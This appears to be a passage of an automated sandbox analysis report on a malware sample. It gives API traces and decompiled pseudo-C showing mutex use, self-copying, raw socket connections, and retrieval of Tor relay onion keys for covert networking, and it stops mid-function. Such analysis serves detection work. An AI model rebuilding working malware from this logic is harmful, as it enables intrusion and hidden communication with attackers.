Part of subcall function 033F6261: CloseHandle.KERNEL32(?,?,00000000,?,00000004,?,00000000,?,00000019,?,?,?,00000000,?,00000000,00000008), ref: 033F630E

OpenMutexA.KERNEL32(00100000,00000000,kdnku), ref: 033F1340
CreateMutexA.KERNEL32(00000000,00000000,kdnku,00100000,00000000,kdnku,00408129,00000000,?,00000100,00000000,00000000,00405E34,00405F52,00000000,00000000), ref: 033F1354
EnumWindows.USER32(00405BE5,00000000), ref: 033F137B
Sleep.KERNEL32(00002710,00405BE5,00000000,00002710,00405BE5,00000000), ref: 033F1385
GetModuleFileNameA.KERNEL32(00000000,?,00000100,0040811D,00002710,00405BE5,00000000,00002710,00405BE5,00000000), ref: 033F13B2
CopyFileA.KERNEL32(?,?,00000000), ref: 033F13D8
Sleep.KERNEL32(0000EA60,0040811D,00002710,00405BE5,00000000,00002710,00405BE5,00000000), ref: 033F13FE
ExitProcess.KERNEL32(00000000,0000EA60,0040811D,00002710,00405BE5,00000000,00002710,00405BE5,00000000), ref: 033F6D8F

Strings

kdnku, xrefs: 033F1306, 033F1316, 033F1334, 033F134B, 033F13B7, 033F13EF

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: FileLocal$CreateFreeModuleMutexNameSleep$AllocAuthorityCloseCopyEnumExitHandleInformationOpenProcessThreadTokenWindows
String ID: kdnku
API String ID: 3825064006-2024472800
Opcode ID: 4acdddf01ea2e716559b316818b8aaaf3a24625852a60074a5787efaa555fbdb
Instruction ID: 84f0207710b8367b9a56996d12f81695fc226288dda0ae144b3d845c21648675
Opcode Fuzzy Hash: 4acdddf01ea2e716559b316818b8aaaf3a24625852a60074a5787efaa555fbdb
Instruction Fuzzy Hash: 44418675E80304BEEB30E790CDC7F997268AF04B05F9440A6F744BE1D1DAF456858B69

Uniqueness

Uniqueness Score: -1.00%

Function 00404A55 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 333
networkCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404A55(void* __eflags, intOrPtr _a4) {
				void* _v8;
				intOrPtr _v12;
				signed int _v16;
				void* _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				signed int _v51;
				signed int _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr _v88;
				short _v90;
				char _v92;
				char _v96;
				char _v112;
				char _v116;
				short _v118;
				char _v120;
				char _v128;
				char _v140;
				char _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				char _v156;
				char _v160;
				signed short _t194;
				signed short _t206;
				char* _t215;
				char* _t220;
				intOrPtr _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr* _t238;
				signed int _t239;
				char* _t240;
				intOrPtr _t241;
				intOrPtr _t242;
				void* _t244;

				E00406502( &_v160,  &_v16 - _t244);
				_t241 = _a4;
				E0040647B(_t241 + 0x180,  &_v32, 4);
				E0040647B(_t241 + 0x184,  &_v16, 4);
				E0040647B(_t241 + 0x188,  &_v24, 4);
				E0040647B(_t241 + 0x18c,  &_v8, 4);
				E0040647B(_t241 + 0x190,  &_v20, 4);
				E0040647B(_t241 + 0x194,  &_v56, 4);
				E0040647B(_t241 + 0x198,  &_v64, 4);
				E0040647B(_t241 + 0x19c,  &_v68, 4);
				E0040647B(_t241 + 0x1a0,  &_v72, 4);
				E0040647B(_t241 + 0x1a4,  &_v76, 4);
				E0040647B(_t241 + 0x1a8,  &_v60, 4);
				_t233 = _v16;
				_t238 = _v8;
				_v28 =  *((intOrPtr*)(_t238 + _t233 * 4));
				_v12 =  *_t238;
				_v52 = _t233;
				_v51 = 0xa;
				_v49 = 5;
				_v48 = 1;
				_v47 = 0;
				_v46 = 1;
				_v45 = 0;
				_v44 = 0;
				_v43 = 0;
				_v42 = 0;
				_v41 = 0;
				_v40 = 0;
				_v92 = 2;
				_t246 =  *((char*)(_t241 + 7)) - 3;
				if( *((char*)(_t241 + 7)) != 3) {
					__eflags =  *((char*)(_t241 + 7)) - 1;
					if( *((char*)(_t241 + 7)) != 1) {
						__eflags =  *((char*)(_t241 + 7)) - 4;
						if( *((char*)(_t241 + 7)) != 4) {
							L14:
							_t242 = _v8;
							_t230 = _v16;
							_t239 = _v51 & 0x0000ffff;
							E00405D6C(0x408089, 0x32,  &_v52, 3);
							E00405D6C(0x408089, 0x32,  &_v49, _t239);
							_t99 = _t239 + 3; // 0xd
							E004061B1(_v12, _v76, _v24,  &_v52, _t99, _v72, _v68, _v64, 2, _v56, _v60);
							E00405D6C(0x408089, 0x32,  &_v52, 3);
							_t194 = E00405D6C(0x408089, 0x32,  &_v49, _t239);
							if(_v48 != 0) {
								L24:
								 *((intOrPtr*)(_t242 + _t230 * 4)) = 0;
								E004062E7(_t194, _v28);
								_v51 = 0;
								E00405D6C(0x408089, 0x32,  &_v52, 3);
								E004061B1(_v12, _v76, _v24,  &_v52, 3, _v72, _v68, _v64, 2, _v56, _v60);
								E0040491C( &_v20);
								 *((intOrPtr*)(_v32 + _t230 * 4)) = 0;
								return 0;
							}
							_t240 = _v20;
							while(1) {
								L16:
								while( *((intOrPtr*)(_t242 + _t230 * 4)) != 0) {
									E004064C8(_v28, 0,  &_v140, 0, 0x64);
									_push( &_v128);
									_push(0);
									_push(0);
									_t194 =  &_v140;
									_push(_t194);
									_push(0);
									L00406CD0();
									__eflags = _t194;
									if(__eflags == 0) {
										goto L16;
									}
									if(__eflags < 0) {
										goto L24;
									}
									_push(0);
									_push(0xfffa);
									_t206 = _t240 + 3;
									_push(_t206);
									_push(_v28);
									L00406CCA();
									_t194 = _t206;
									__eflags = _t194;
									if(_t194 == 0) {
										L21:
										goto L24;
									}
									__eflags = _t194 - 0xffffffff;
									if(_t194 != 0xffffffff) {
										 *(_t240 + 1) = _t194;
										 *_t240 = _v16;
										E00405D6C(0x408089, 0x32, _t240, 3);
										E00405D6C(0x408089, 0x32, _t240 + 3,  *(_t240 + 1) & 0x0000ffff);
										_t194 = E004061B1(_v12, _v76, _v24, _t240, ( *(_t240 + 1) & 0x0000ffff) + 3, _v72, _v68, _v64, 2, _v56, _v60);
										continue;
									}
									goto L21;
								}
								goto L24;
							}
						}
						_v120 = 0x17;
						_v116 = 0;
						_v96 = 0;
						_v118 =  *((intOrPtr*)(_t241 + 0x18));
						E0040647B(_t241 + 8,  &_v112, 0x10);
						L8:
						_v144 = 1;
						_t215 =  &_v144;
						_push(_t215);
						_push(0x8004667e);
						_push(_v28);
						L00406CC4();
						if(_t215 == 0) {
							if( *((char*)(_t241 + 7)) == 4) {
								_push(0x1c);
								_push( &_v120);
								_push(_v28);
								L00406CAC();
							} else {
								_push(0x10);
								_push( &_v92);
								_push(_v28);
								L00406CAC();
							}
							E004064C8(_v28, 0,  &_v140, 0xa, 0);
							_push( &_v128);
							_push(0);
							_t220 =  &_v140;
							_push(_t220);
							_push(0);
							_push(0);
							L00406CD0();
							if(_t220 == 1) {
								_v144 = 0;
								_push( &_v144);
								_push(0x8004667e);
								_push(_v28);
								L00406CC4();
								_v156 = 1;
								_v152 = 0xea60;
								_v148 = 0x2710;
								_push(0);
								_push(0);
								_push( &_v160);
								_push(0);
								_push(0);
								_push(0xc);
								_push( &_v156);
								_push(0x98000004);
								_push(_v28);
								L00406CFA();
								_v48 = 0;
							}
						}
						goto L14;
					}
					_v88 =  *((intOrPtr*)(_t241 + 8));
					_v90 =  *((intOrPtr*)(_t241 + 0xc));
					goto L8;
				}
				_v90 =  *((intOrPtr*)(0 + _t241 + 9));
				 *((char*)(0 + _t241 + 9)) = 0;
				_t229 = E00406388(_t246, _t241 + 9, 2);
				if(_t229 == 0) {
					goto L14;
				} else {
					_v88 = _t229;
					goto L8;
				}
			}

0x00404a6c
0x00404a71
0x00404a81
0x00404a93
0x00404aa5
0x00404ab7
0x00404ac9
0x00404adb
0x00404aed
0x00404aff
0x00404b11
0x00404b23
0x00404b35
0x00404b3a
0x00404b3d
0x00404b43
0x00404b48
0x00404b4b
0x00404b4e
0x00404b54
0x00404b58
0x00404b5c
0x00404b60
0x00404b64
0x00404b68
0x00404b6c
0x00404b70
0x00404b74
0x00404b78
0x00404b7c
0x00404b82
0x00404b86
0x00404bb3
0x00404bb7
0x00404bc9
0x00404bcd
0x00404ce0
0x00404ce0
0x00404ce3
0x00404ce6
0x00404cf7
0x00404d08
0x00404d1e
0x00404d2f
0x00404d41
0x00404d52
0x00404d5b
0x00404e15
0x00404e15
0x00404e1f
0x00404e24
0x00404e37
0x00404e5c
0x00404e65
0x00404e6d
0x00404e7d
0x00404e7d
0x00404d61
0x00404d64
0x00404d64
0x00404e0b
0x00404d79
0x00404d81
0x00404d82
0x00404d84
0x00404d86
0x00404d8c
0x00404d8d
0x00404d8f
0x00404d94
0x00404d96
0x00000000
0x00000000
0x00404d98
0x00000000
0x00000000
0x00404d9a
0x00404d9c
0x00404da1
0x00404da4
0x00404da5
0x00404da8
0x00404dad
0x00404dad
0x00404daf
0x00404db6
0x00000000
0x00404db6
0x00404db1
0x00404db4
0x00404dba
0x00404dc1
0x00404dd1
0x00404de2
0x00404e06
0x00000000
0x00404e06
0x00000000
0x00404db4
0x00000000
0x00404e0b
0x00404d64
0x00404bcf
0x00404bd5
0x00404bdc
0x00404be7
0x00404bf5
0x00404c01
0x00404c01
0x00404c0b
0x00404c11
0x00404c12
0x00404c17
0x00404c1a
0x00404c21
0x00404c2b
0x00404c3d
0x00404c42
0x00404c43
0x00404c46
0x00404c2d
0x00404c2d
0x00404c32
0x00404c33
0x00404c36
0x00404c36
0x00404c5b
0x00404c63
0x00404c64
0x00404c66
0x00404c6c
0x00404c6d
0x00404c6f
0x00404c71
0x00404c79
0x00404c7b
0x00404c8b
0x00404c8c
0x00404c91
0x00404c94
0x00404c99
0x00404ca3
0x00404cad
0x00404cb7
0x00404cb9
0x00404cc1
0x00404cc2
0x00404cc4
0x00404cc6
0x00404cce
0x00404ccf
0x00404cd4
0x00404cd7
0x00404cdc
0x00404cdc
0x00404c79
0x00000000
0x00404c21
0x00404bbc
0x00404bc3
0x00000000
0x00404bc3
0x00404b92
0x00404b96
0x00404ba1
0x00404ba8
0x00000000
0x00404bae
0x00404bae
0x00000000
0x00404bae

APIs

ioctlsocket.WSOCK32(?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?,?,00000004,?), ref: 00404C1A
connect.WSOCK32(?,00000002,00000010,?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?), ref: 00404C36
connect.WSOCK32(?,00000017,0000001C,?,8004667E,00000001,?,?,00000010,?,?,00000004,?,?,00000004,?), ref: 00404C46
select.WSOCK32(00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C,?,8004667E,00000001), ref: 00404C71
ioctlsocket.WSOCK32(?,8004667E,00000000,00000000,00000000,?,00000000,?,?,00000000,?,0000000A,00000000,?,00000017,0000001C), ref: 00404C94
WSAIoctl.WS2_32(?,98000004,00000001,0000000C,00000000,00000000,?,00000000,00000000), ref: 00404CD7

Part of subcall function 00406388: getaddrinfo.WS2_32(?,00000000,?,?), ref: 004063D0

select.WSOCK32(00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,00408089,00000032,00000005,0000000A,00408089,00000032), ref: 00404D8F
recv.WSOCK32(?,?,0000FFFA,00000000,00000000,?,00000000,00000000,?,?,00000000,?,00000000,00000064,00408089,00000032), ref: 00404DA8

Strings

`, xrefs: 00404CA3

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: connectioctlsocketselect$Ioctlgetaddrinforecv
String ID: `
API String ID: 3309496413-1850852036
Opcode ID: a68dd31fcbed5a0bfbdc30054e2f5cedf3212cdc225711ae9810a03306d0d2f4
Instruction ID: e90bf23338c3300cc9a4061113974fa83e9d01972b75ba71afce06f677466b93
Opcode Fuzzy Hash: a68dd31fcbed5a0bfbdc30054e2f5cedf3212cdc225711ae9810a03306d0d2f4
Instruction Fuzzy Hash: C2D13F71940208BAEF11EBE0CC41FEEBBB8AF04704F14442AF755B61D1D779AA58CB69

Uniqueness

Uniqueness Score: -1.00%

Function 033F3DE1 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 195encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 033F3E1E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 033F3E3C
CryptDecodeObject.CRYPT32(00000001,00000013,?,0000008C,00000000,?,?), ref: 033F3EF7

Strings

RSAPUBLICBLOB, xrefs: 033F3F73, 033F3F79
SHA1, xrefs: 033F3F96
RSA1, xrefs: 033F3EFC
KDBM, xrefs: 033F4011
KeyDataBlob, xrefs: 033F405A, 033F4060

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: Crypt$BinaryString$DecodeObject
String ID: KDBM$KeyDataBlob$RSA1$RSAPUBLICBLOB$SHA1
API String ID: 698452922-1412799199
Opcode ID: eaafbc5b240a90e4b7e3100b9dcb0ce51336c9f4d9632c1a477a0ea21bf87c2c
Instruction ID: 96128415c70ee5b259830416e0cc57a41ce60f317d780161fc51a4ea019223ce
Opcode Fuzzy Hash: eaafbc5b240a90e4b7e3100b9dcb0ce51336c9f4d9632c1a477a0ea21bf87c2c
Instruction Fuzzy Hash: 317110B694031CAEEB21DF90CD86FDA777CBB44704F4005A5B708BA1D0DBB5AA848F59

Uniqueness

Uniqueness Score: -1.00%

Function 004040A0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 98
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004040A0(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, BYTE* _a16) {
				char _v16;
				char _v501;
				char _v516;
				char _v520;
				intOrPtr _v524;
				int _v532;
				intOrPtr _t35;
				void* _t39;
				void* _t40;
				void* _t41;
				char* _t43;
				char _t53;
				void* _t54;
				char* _t56;
				void* _t59;
				void* _t60;

				_t60 = __eflags;
				E00406502( &_v532,  &_v16 - _t59);
				E0040647B("/tor/server/fp/",  &_v516, 0xf);
				E00406893(_a12, 0x14,  &_v501);
				_t35 = E00402A95(__edx, _t60, _a4, _a8,  &_v516,  &_v520);
				_t61 = _t35;
				if(_t35 != 0) {
					_t53 = _v520;
					_v524 = _t35;
					_t39 = E0040680A(_t61, _t53, _v524, "onion-key");
					_t62 = _t39;
					if(_t39 != 0) {
						_t40 = _t39 - _t53;
						_t54 = _t53 + _t40;
						_v524 = _v524 - _t40;
						_t41 = E0040680A(_t62, _t54, _v524, "-----BEGIN RSA PUBLIC KEY-----");
						_t63 = _t41;
						if(_t41 != 0) {
							_t42 = _t41 - _t54;
							_v524 = _v524 - _t41 - _t54;
							_t43 = E0040680A(_t63, _t54 + _t42, _v524, "-----END");
							if(_t43 != 0) {
								_t56 =  &_v516;
								 *_t43 = 0;
								while(1) {
									asm("lodsb");
									if(_t43 > 0x20) {
										asm("stosb");
									}
									if(_t43 == 0) {
										break;
									}
								}
								 *_t56 = 0;
								CryptStringToBinaryA( &_v516, 0, 1, 0,  &_v532, 0, 0);
								CryptStringToBinaryA( &_v516, 0, 1, _a16,  &_v532, 0, 0);
							}
						}
					}
				}
				E0040491C( &_v520);
				return _v532;
			}

0x004040a0
0x004040b7
0x004040ca
0x004040db
0x004040f4
0x004040f9
0x004040fb
0x00404101
0x00404107
0x00404119
0x0040411e
0x00404120
0x00404126
0x00404128
0x0040412a
0x0040413c
0x00404141
0x00404143
0x00404145
0x00404149
0x0040415b
0x00404162
0x00404169
0x0040416f
0x00404172
0x00404172
0x00404175
0x00404177
0x00404177
0x0040417a
0x00000000
0x00000000
0x0040417c
0x0040417e
0x00404199
0x004041b7
0x004041b7
0x00404162
0x00404143
0x00404120
0x004041c3
0x004041d2

APIs

Part of subcall function 00402A95: wsprintfA.USER32 ref: 00402AE4

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00404199
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,?,00000000,00000000), ref: 004041B7

Strings

-----END, xrefs: 0040414F
onion-key, xrefs: 0040410D
/tor/server/fp/, xrefs: 004040C5
-----BEGIN RSA PUBLIC KEY-----, xrefs: 00404130

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: BinaryCryptString$wsprintf
String ID: -----BEGIN RSA PUBLIC KEY-----$-----END$/tor/server/fp/$onion-key
API String ID: 2962846386-2989486038
Opcode ID: 717a60557f0505de57460b4e15c122248a3fc0eeae036cffa96025c14d22fa8e
Instruction ID: ae05784119119813a1f92395311b3e2519dff31ba13301e27faf6525e0a244ae
Opcode Fuzzy Hash: 717a60557f0505de57460b4e15c122248a3fc0eeae036cffa96025c14d22fa8e
Instruction Fuzzy Hash: AD31DC729403187AEB20DAA18C49FEF777CAF44704F0500BAB654F61D1DB749E808B69

Uniqueness

Uniqueness Score: -1.00%

Function 00401DBD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401DBD() {
				signed int _t590;
				signed int _t620;
				signed int _t622;
				signed int _t626;
				int _t628;
				signed int _t634;
				signed int _t641;
				intOrPtr _t646;
				signed int _t652;
				char _t653;
				signed int _t660;
				signed int _t687;
				signed int _t692;
				signed int _t712;
				signed int _t714;
				int _t720;
				signed int _t721;
				signed int _t729;
				signed int _t732;
				signed int _t736;
				signed int _t737;
				signed int _t742;
				intOrPtr _t750;
				void* _t752;
				signed int _t756;
				signed int _t764;
				signed int _t783;
				signed int _t785;
				intOrPtr _t800;
				char _t801;
				signed int _t809;
				signed int _t821;
				signed int _t879;
				signed int _t881;
				signed int _t883;
				signed int _t893;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t898;
				void* _t900;
				signed int _t901;
				signed int _t903;
				void* _t906;
				signed int _t907;
				int _t910;
				signed int _t915;
				signed int _t919;
				char _t923;
				void* _t926;
				char* _t932;
				void* _t940;
				char* _t942;
				char* _t943;
				char* _t944;
				char* _t945;
				char* _t946;
				intOrPtr _t947;
				char* _t948;
				BYTE* _t949;
				char* _t950;
				char* _t951;
				char* _t955;
				char* _t956;
				char* _t957;
				void* _t959;
				char* _t960;
				intOrPtr _t963;
				void* _t964;
				void* _t966;

				while(1) {
					L116:
					 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
					L118:
					while( *(_t964 - 0x6a8) <= 4) {
						_t938 = E00403F98( *((intOrPtr*)(_t964 - 0x23c)), E00406862(_t583,  *((intOrPtr*)(_t964 - 0x6a0))), 0);
						_t583 = E00403FE0(_t585);
						__eflags =  *(_t964 - 0x6a8);
						if( *(_t964 - 0x6a8) != 0) {
							L3:
							__eflags =  *(_t964 - 0x6a8) - 1;
							if( *(_t964 - 0x6a8) != 1) {
								L5:
								__eflags =  *(_t964 - 0x6a8) - 2;
								if( *(_t964 - 0x6a8) != 2) {
									L7:
									__eflags =  *(_t964 - 0x6a8) - 4;
									if(__eflags != 0) {
										L9:
										_t590 = E00403EE1(__eflags, _t938, _t964 +  *(_t964 - 0x6a8) * 4 - 0x6dc, _t964 +  *(_t964 - 0x6a8) * 4 - 0x6f0, _t964 +  *(_t964 - 0x6a8) * 4 - 0x704, _t964 +  *(_t964 - 0x6a8) * 4 - 0x718);
										_t583 = _t590;
										__eflags = _t590;
										if(_t590 != 0) {
											continue;
										}
										__eflags =  *(_t964 - 0x6a8) - 1;
										if( *(_t964 - 0x6a8) != 1) {
											L12:
											__eflags =  *(_t964 - 0x6a8) - 4;
											if(__eflags != 0) {
												__eflags =  *(_t964 - 0x6a8) - 3;
												if( *(_t964 - 0x6a8) != 3) {
													__eflags =  *(_t964 - 0x6a8) - 2;
													if(__eflags != 0) {
														__eflags =  *(_t964 - 0x6a8);
														if(__eflags != 0) {
															while(1) {
																L116:
																 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
																goto L118;
															}
														}
														__eflags = E00403009(_t929, __eflags,  *((intOrPtr*)(_t964 - 0x6f0)),  *((intOrPtr*)(_t964 - 0x704)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 + 0x14)), _t964 - 0x764);
														if(__eflags == 0) {
															goto L117;
														}
														E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)), 0x40826c, 7, 0,  *((intOrPtr*)(_t964 + 0x10)));
														 *(_t964 - 0x760) = 0;
														_t620 = E004048F1(0x186a0, _t964 - 0x77c);
														__eflags = _t620;
														if(_t620 == 0) {
															goto L117;
														}
														_t622 = E004048F1(0x186a0, _t964 - 0x780);
														__eflags = _t622;
														if(_t622 == 0) {
															goto L117;
														}
														_t940 =  *(_t964 - 0x77c);
														 *(_t964 - 0x24) = 0;
														 *(_t964 - 0x2c) = 0;
														while(1) {
															E004064C8( *((intOrPtr*)(_t964 - 0x764)), 0, _t964 - 0x778, 0xa, 0);
															_push(_t964 - 0x76c);
															_push(0);
															_push(0);
															_t626 = _t964 - 0x778;
															_push(_t626);
															_push(0);
															L00406CD0();
															__eflags = _t626;
															if(__eflags <= 0) {
																goto L117;
															}
															_t628 = E004045F4(__eflags,  *((intOrPtr*)(_t964 - 0x764)), _t964 - 0x760,  *((intOrPtr*)(_t964 + 0x10)));
															__eflags = _t628;
															if(_t628 <= 0) {
																goto L117;
															}
															 *(_t964 - 0x24) =  *(_t964 - 0x24) + _t628;
															_t959 =  *(_t964 - 0x760);
															_t910 = _t628;
															memcpy(_t940, _t959, _t910);
															_t966 = _t966 + 0xc;
															_t940 = _t959 + _t910 + _t910;
															E0040491C(_t964 - 0x760);
															__eflags =  *(_t964 - 0x24) - 0x202;
															if( *(_t964 - 0x24) < 0x202) {
																continue;
															}
															_t929 =  *(_t964 - 0x77c);
															_t634 =  *(_t929 + 0x10) & 0x0000ffff;
															__eflags = _t634 + 0x19 -  *(_t964 - 0x24);
															if(_t634 + 0x19 >  *(_t964 - 0x24)) {
																continue;
															}
															_t915 =  *(_t634 + _t929 + 0x17) & 0x0000ffff;
															__eflags =  *(_t964 - 0x24) - _t915 + _t634 + 0x21b;
															if( *(_t964 - 0x24) != _t915 + _t634 + 0x21b) {
																continue;
															}
															E00406519( *((intOrPtr*)(_t964 + 8)), 0xa, _t964 - 0x63c);
															asm("bswap eax");
															_t641 =  *((intOrPtr*)(_t940 - 0x1fd)) + ( *(_t964 - 0x63c) & 0x000000ff) * 0x15180 / 0x100;
															_t929 = _t641 % 0x15180;
															asm("bswap eax");
															 *(_t964 - 0x61e) = _t641 / 0x15180;
															E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
															_t963 =  *((intOrPtr*)(_t964 - 0x780));
															 *((char*)(_t963 + 4)) = 8;
															_t646 = E0040647B(_t940 - 0x1fd, _t963 + 5, 4);
															 *((short*)(_t963 + 9)) = 0x404;
															_push( *((intOrPtr*)(_t964 - 0x6f0)));
															L00406CB8();
															 *((intOrPtr*)(_t963 + 0xb)) = _t646;
															 *((intOrPtr*)(_t963 + 0xf)) = 0x40401;
															_t583 = E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)), _t963, 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
															while(1) {
																L116:
																 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
																goto L118;
															}
														}
														goto L117;
													}
													_t652 = E00403475(__eflags,  *((intOrPtr*)(_t964 - 8)),  *(_t964 - 4),  *((intOrPtr*)(_t964 - 0xc)),  *((intOrPtr*)(_t964 - 0x10)),  *((intOrPtr*)(_t964 + 0x10)),  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x6ec)),  *(_t964 - 0x714),  *((intOrPtr*)(_t964 - 0x6e8)),  *((intOrPtr*)(_t964 - 0x6fc)),  *((intOrPtr*)(_t964 - 0x6dc)),  *(_t964 - 0x6d4), 1, _t964 - 0x200, _t964 - 0x1fc, _t964 - 0x1f8, _t964 - 0x1f4, _t964 - 0x238);
													__eflags = _t652;
													if(_t652 <= 0) {
														goto L117;
													}
													_t653 = E00406502( *((intOrPtr*)(_t964 - 0x780)), 0x186a0);
													_t942 =  *((intOrPtr*)(_t964 - 0x780));
													 *_t942 = 0x80;
													 *((char*)(_t942 + 3)) = 1;
													 *((char*)(_t942 + 4)) = 3;
													 *((char*)(_t942 + 5)) = 0x21;
													 *((char*)(_t942 + 0xf)) = 0x14;
													_t919 = 0;
													while(1) {
														__eflags = _t919 - 0x14;
														if(_t919 >= 0x14) {
															break;
														}
														 *[ss:ecx+ebp-0x650] = _t653;
														_t919 = _t919 + 1;
														__eflags = _t919;
													}
													E0040647B(_t964 - 0x650, _t942 + 0x10, 0x14);
													E004038CD( *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x200)),  *((intOrPtr*)(_t964 - 0x1f8)), 0, _t942 + 5, 0,  *((intOrPtr*)(_t964 - 0x230)));
													E004044BF(__eflags,  *((intOrPtr*)(_t964 - 0x764)),  *((intOrPtr*)(_t964 - 0x780)), 0x202, 0,  *((intOrPtr*)(_t964 + 0x10)));
													_t660 = E004047EF( *((intOrPtr*)(_t964 - 0x764)),  *(_t964 - 0x77c), 0x202,  *((intOrPtr*)(_t964 + 0x10)), 0x14);
													_t943 =  *(_t964 - 0x77c);
													__eflags = _t660;
													if(_t660 != 0) {
														goto L117;
													}
													__eflags = _t943[4] - 3;
													if(__eflags != 0) {
														goto L117;
													}
													_t583 = E0040394E(__eflags,  *((intOrPtr*)(_t964 - 8)),  *((intOrPtr*)(_t964 - 0x1fc)),  *((intOrPtr*)(_t964 - 0x1f4)), 0,  &(_t943[5]), 1,  *((intOrPtr*)(_t964 - 0x22c)));
													__eflags = _t583;
													if(_t583 == 0) {
														goto L117;
													}
													__eflags = _t943[5] - 0x27;
													if(_t943[5] != 0x27) {
														goto L117;
													}
													while(1) {
														L116:
														 *(_t964 - 0x6a8) =  *(_t964 - 0x6a8) + 1;
														goto L118;
													}
												}
												 *(_t964 - 0x34) = 0;
												 *(_t964 - 0x14) = 2;
												 *(_t964 - 0x18) = 1;
												while(1) {
													__eflags =  *(_t964 - 0x34) - 2;
													if( *(_t964 - 0x34) >= 2) {
														break;
													}
													 *((char*)(_t964 - 0x61a)) =  *(_t964 - 0x34);
													E00403381( *((intOrPtr*)(_t964 - 8)), _t964 - 0x61e, 5, _t964 - 0x632, 0, 0xffffffff);
													E00403381( *((intOrPtr*)(_t964 - 8)), _t964 - 0x63c, 0x1e, _t964 - 0x619, 0, 0xffffffff);
													E00406611(_t964 - 0x619, 0x14, _t964 - 0x605);
													E0040647B(_t964 - 0x6a4, _t964 - 0x24, 4);
													E0040647B(_t964 - 0x6a4, _t964 - 0x2c, 4);
													_t906 = 0;
													while(1) {
														__eflags =  *(_t964 - 0x2c);
														if( *(_t964 - 0x2c) <= 0) {
															break;
														}
														E0040647B(_t964 - 0x2c, _t964 - 0x24, 4);
														 *(_t964 - 0x24) =  *(_t964 - 0x24) >> 1;
														_t687 = E00403EE1(__eflags, E00403F98( *((intOrPtr*)(_t964 - 0x23c)), _t906 +  *(_t964 - 0x24), 8), _t964 - 0x6d0, _t964 - 0x6e4, _t964 - 0x6f8, _t964 - 0x70c);
														 *(_t964 - 0x20) = 0;
														__eflags = _t687;
														if(_t687 != 0) {
															L62:
															__eflags =  *(_t964 - 0x20) - 1;
															if( *(_t964 - 0x20) != 1) {
																E0040647B(_t964 - 0x24, _t964 - 0x2c, 4);
															} else {
																_t906 = _t906 +  *(_t964 - 0x24) + 1;
																 *(_t964 - 0x2c) =  *(_t964 - 0x2c) -  *(_t964 - 0x24) + 1;
															}
															continue;
														}
														CryptStringToBinaryA( *(_t964 - 0x6d0), 0, 1, 0, _t964 - 0x1c, 0, 0);
														CryptStringToBinaryA( *(_t964 - 0x6d0), 0, 1, _t964 - 0x5a1, _t964 - 0x1c, 0, 0);
														_t926 = 0;
														while(1) {
															__eflags = _t926 - 0x14;
															if(_t926 >= 0x14) {
																goto L62;
															}
															_t750 =  *[ss:ecx+ebp-0x5a1];
															__eflags = _t750 -  *[ss:ecx+ebp-0x619];
															if(_t750 >  *[ss:ecx+ebp-0x619]) {
																goto L62;
															}
															__eflags = _t750 -  *[ss:ecx+ebp-0x619];
															if(_t750 !=  *[ss:ecx+ebp-0x619]) {
																 *(_t964 - 0x20) = 1;
															}
															_t926 = _t926 + 1;
														}
														goto L62;
													}
													 *(_t964 - 0x1c) = 0;
													while(1) {
														__eflags =  *(_t964 - 0x1c) - 3;
														if( *(_t964 - 0x1c) >= 3) {
															break;
														}
														_t692 = E00403F98( *((intOrPtr*)(_t964 - 0x23c)), _t906, 8);
														_t906 = _t906 + 1;
														_t929 = _t692;
